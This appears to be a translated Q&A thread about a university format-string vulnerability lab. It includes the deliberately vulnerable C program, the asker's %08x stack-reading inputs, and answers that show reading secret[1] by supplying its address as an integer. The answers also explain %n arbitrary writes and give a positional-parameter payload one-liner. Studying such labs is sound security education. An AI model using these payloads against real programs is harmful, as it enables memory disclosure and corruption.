Доступ ко 2-му элементу массива в атаке на уязвимость форматной строки
Я работаю в лаборатории уязвимости форматной строки, где нам дают следующий код:
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1;
secret[1] = SECRET2;
printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
Мы не должны изменять код вообще. Используя только ввод, у нас есть 4 цели: завершить работу программы, вывести значение в secret[1], изменить значение в secret [1] и изменить значение в secret [1] на заранее определенное значение.
Пример вывода, который я получаю:
The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025
Итак, введя 8 "%08x"s, я печатаю адрес секрета + 4, затем я печатаю адреса целых чисел a, b, c и d - но так как я никогда не давал им значения, они не указывают в любом месте и просто отображать 0. После этого вводится десятичное число, выбранное таким образом, чтобы "ffff" был четко виден. Далее идет адрес секретного [0], затем я попадаю в другие значения, хранящиеся в программе.
Если бы я был на входе AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
, после.0804a008 будет.41414141, потому что там будут храниться буквы из строки ввода.
Отключить программу довольно легко: достаточно%s на строковом вводе вызывает segfault. Теперь мне нужно прочитать значение в секретном [1], и я полностью потерян. Я попытался как-то попытаться поместить адрес в стек, поместив его в начало строки следующим образом: \xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s
, но адрес никуда не сдвигается, и я просто печатаю secret[0] (для любопытных это 'D'). Я пробовал все виды адресов, но через некоторое время я понял, что просто храню их все в виде строки, в которой эти буквы А показывались ранее. Они не конвертируются в гекс или что-то еще.
Я видел много дискуссий об этом коде в SA и других местах, но я еще не видел, чтобы кто-нибудь говорил о том, как вы получаете значения в секрете [1].
Любая помощь будет принята с благодарностью.
3 ответа
Для доступа к секретному [1] вы должны ввести его адрес в качестве целочисленного ввода.
Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U
Хитрость заключается в том, чтобы использовать %n
спецификатор в указанной пользователем строке формата. %n
говорит, что нужно взять количество записанных байтов и сохранить их по адресу, указанному следующим аргументом. Когда вы не предоставите достаточно аргументов printf
, то адрес, по которому он пишет, является любым значением, которое будет следующим в стеке. Если вы можете использовать этот адрес как желаемый, то вы можете написать 4-байтовое целое число где угодно в памяти.
// Normal usage: count receives the value 14, since 14 bytes were written when
// the %n was encountered
int count;
printf("Hello, world!\n%n", &count);
// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in
// memory
printf("Hello, world!\n%n");
Вы можете указать смещение непосредственно в строке формата.
например.
$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog